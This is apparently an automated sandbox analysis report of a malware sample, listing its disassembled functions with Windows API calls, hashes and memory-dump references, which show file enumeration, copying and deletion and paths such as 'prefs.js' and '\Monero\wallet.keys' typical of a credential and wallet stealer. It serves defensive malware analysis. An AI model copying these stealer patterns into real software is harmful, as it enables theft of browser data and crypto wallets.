                                    • Opcode Fuzzy Hash: 4f8ee7b63269e34bf79852211067773dfb6d86fafef9f4e537da78f56ab0aa78
                                    • Instruction Fuzzy Hash: D15284729101489FCB14FB71DD96EEE737DAF54300F4145A9B50AA2191EF30AB48EF62
                                    Function 00CE3B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00CE3B1C
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00CE3B33
                                    • lstrcat.KERNEL32(?,?), ref: 00CE3B85
                                    • StrCmpCA.SHLWAPI(?,00CF0F58), ref: 00CE3B97
                                    • StrCmpCA.SHLWAPI(?,00CF0F5C), ref: 00CE3BAD
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CE3EB7
                                    • FindClose.KERNEL32(000000FF), ref: 00CE3ECC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextlstrcatwsprintf
                                    • String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
                                    • API String ID: 1125553467-2524465048
                                    • Opcode ID: ababf854d4fe2d5ab544fbdf5527b112c3dee842fbb3a9c3848956b2b4b80442
                                    • Instruction ID: a54e2d10df83cd01793e24ce5c1271b88aee31aa97ebb454282e3b39a8c6f00a
                                    • Opcode Fuzzy Hash: ababf854d4fe2d5ab544fbdf5527b112c3dee842fbb3a9c3848956b2b4b80442
                                    • Instruction Fuzzy Hash: C2A142B1A0034C9BDB24EFA5DC89FEA7378AB49700F044599B61D97181EB70AB84DF61
                                    Function 00CE4B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00CE4B7C
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00CE4B93
                                    • StrCmpCA.SHLWAPI(?,00CF0FC4), ref: 00CE4BC1
                                    • StrCmpCA.SHLWAPI(?,00CF0FC8), ref: 00CE4BD7
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CE4DCD
                                    • FindClose.KERNEL32(000000FF), ref: 00CE4DE2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextwsprintf
                                    • String ID: %s\%s$%s\%s$%s\*
                                    • API String ID: 180737720-445461498
                                    • Opcode ID: 9de68ec1f81cb93837d17cd2aa8926c670b30539a4eaeb15e665399c4bcb8d08
                                    • Instruction ID: 3d76e89cff7caacf56dad4faffeaf60bf9ecac74b2ceb176939e5ccbf74c98ba
                                    • Opcode Fuzzy Hash: 9de68ec1f81cb93837d17cd2aa8926c670b30539a4eaeb15e665399c4bcb8d08
                                    • Instruction Fuzzy Hash: D76147B290425CABCB24EFE1DC45FEA73BCBB49700F008598F60996151EB74AB84DF91
                                    Function 00CE47C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00CE47D0
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE47D7
                                    • wsprintfA.USER32 ref: 00CE47F6
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00CE480D
                                    • StrCmpCA.SHLWAPI(?,00CF0FAC), ref: 00CE483B
                                    • StrCmpCA.SHLWAPI(?,00CF0FB0), ref: 00CE4851
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CE48DB
                                    • FindClose.KERNEL32(000000FF), ref: 00CE48F0
                                    • lstrcat.KERNEL32(?,0159E550), ref: 00CE4915
                                    • lstrcat.KERNEL32(?,0159D458), ref: 00CE4928
                                    • lstrlen.KERNEL32(?), ref: 00CE4935
                                    • lstrlen.KERNEL32(?), ref: 00CE4946
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
                                    • String ID: %s\%s$%s\*
                                    • API String ID: 671575355-2848263008
                                    • Opcode ID: 372dfe5d1d66ffddb384426f7989b4abdb2c0fff3bb12fde4fb52a5f45316e3b
                                    • Instruction ID: 83da6f90030a45770706998653a5716d608f4ee1582226903662422e9b4956cc
                                    • Opcode Fuzzy Hash: 372dfe5d1d66ffddb384426f7989b4abdb2c0fff3bb12fde4fb52a5f45316e3b
                                    • Instruction Fuzzy Hash: D95155B290431CABCB24FBB0DC89FEE737CAB59700F404598B61996191EB749B84DF91
                                    Function 00CE40F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00CE4113
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00CE412A
                                    • StrCmpCA.SHLWAPI(?,00CF0F94), ref: 00CE4158
                                    • StrCmpCA.SHLWAPI(?,00CF0F98), ref: 00CE416E
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CE42BC
                                    • FindClose.KERNEL32(000000FF), ref: 00CE42D1
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextwsprintf
                                    • String ID: %s\%s
                                    • API String ID: 180737720-4073750446
                                    • Opcode ID: c32e0b2bbcc7934a551cfecd0ff2aea4a7cafafa9a1d87d557c81ab15d09758c
                                    • Instruction ID: 7bb986e33a93937aade4d1f13ce05982e4b0384b2282e942363dad3da006fe56
                                    • Opcode Fuzzy Hash: c32e0b2bbcc7934a551cfecd0ff2aea4a7cafafa9a1d87d557c81ab15d09758c
                                    • Instruction Fuzzy Hash: F55156B290421CABCB24FBB0DC85FEE737CBB59700F404699B61996050EB75AB89DF50
                                    Function 00CDEE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00CDEE3E
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00CDEE55
                                    • StrCmpCA.SHLWAPI(?,00CF1630), ref: 00CDEEAB
                                    • StrCmpCA.SHLWAPI(?,00CF1634), ref: 00CDEEC1
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CDF3AE
                                    • FindClose.KERNEL32(000000FF), ref: 00CDF3C3
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextwsprintf
                                    • String ID: %s\*.*
                                    • API String ID: 180737720-1013718255
                                    • Opcode ID: 89874485c176a6a7049e29f02f292575c220afd82c37872abe369749207e814b
                                    • Instruction ID: ae8529ed01d22b6bbd3f9c580565b5eab84d1c2ca1d59b7d02458baa24c2fef8
                                    • Opcode Fuzzy Hash: 89874485c176a6a7049e29f02f292575c220afd82c37872abe369749207e814b
                                    • Instruction Fuzzy Hash: 55E10F729112589FDB64FB61CCA2EEE7339AF54300F4145E9B50A62092EF307B89DF52
                                    Function 00D10098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
                                    • API String ID: 0-1562099544
                                    • Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
                                    • Instruction ID: 0bdd837eb7c6166a89cafd7b619f16fd695a98daaf19731710ceaf1ae63141e6
                                    • Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
                                    • Instruction Fuzzy Hash: 11E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56
                                    Function 00CDF7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CF16B0,00CF0D97), ref: 00CDF81E
                                    • StrCmpCA.SHLWAPI(?,00CF16B4), ref: 00CDF86F
                                    • StrCmpCA.SHLWAPI(?,00CF16B8), ref: 00CDF885
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CDFBB1
                                    • FindClose.KERNEL32(000000FF), ref: 00CDFBC3
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                    • String ID: prefs.js
                                    • API String ID: 3334442632-3783873740
                                    • Opcode ID: 3b3c806f396ecccd6023a337efa6ff3ebb5d5fd80bc48e324ce7ebd1d7c1895b
                                    • Instruction ID: e465a34c55a88e006283a13a3dd551333415d620a72dd046067d1676d49dbec4
                                    • Opcode Fuzzy Hash: 3b3c806f396ecccd6023a337efa6ff3ebb5d5fd80bc48e324ce7ebd1d7c1895b
                                    • Instruction Fuzzy Hash: 6DB14172A002489FCB24FF65DD96EEE7379AF54300F0085A9E50A56191EF306B49EF92
                                    Function 00CD1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CF523C,?,?,?,00CF52E4,?,?,00000000,?,00000000), ref: 00CD1963
                                    • StrCmpCA.SHLWAPI(?,00CF538C), ref: 00CD19B3
                                    • StrCmpCA.SHLWAPI(?,00CF5434), ref: 00CD19C9
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CD1D80
                                    • DeleteFileA.KERNEL32(00000000), ref: 00CD1E0A
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CD1E60
                                    • FindClose.KERNEL32(000000FF), ref: 00CD1E72
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
                                    • String ID: \*.*
                                    • API String ID: 1415058207-1173974218
                                    • Opcode ID: 22ddb0cbbd7f25a50af05f0319d2b03b0942c55e82dca074d9fe055b1a13c34c
                                    • Instruction ID: 4c5f5932f67230c1a05f56b45c16c0d67c12cac1466809496d908aab48b43e28
                                    • Opcode Fuzzy Hash: 22ddb0cbbd7f25a50af05f0319d2b03b0942c55e82dca074d9fe055b1a13c34c
                                    • Instruction Fuzzy Hash: C5121E72910158AFCB15FB61CCA6EEE7379AF64300F4145E9B50A62191EF307B88DF62
                                    Function 00CDDF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00CF0C32), ref: 00CDDF5E
                                    • StrCmpCA.SHLWAPI(?,00CF15C0), ref: 00CDDFAE
                                    • StrCmpCA.SHLWAPI(?,00CF15C4), ref: 00CDDFC4
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CDE4E0
                                    • FindClose.KERNEL32(000000FF), ref: 00CDE4F2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
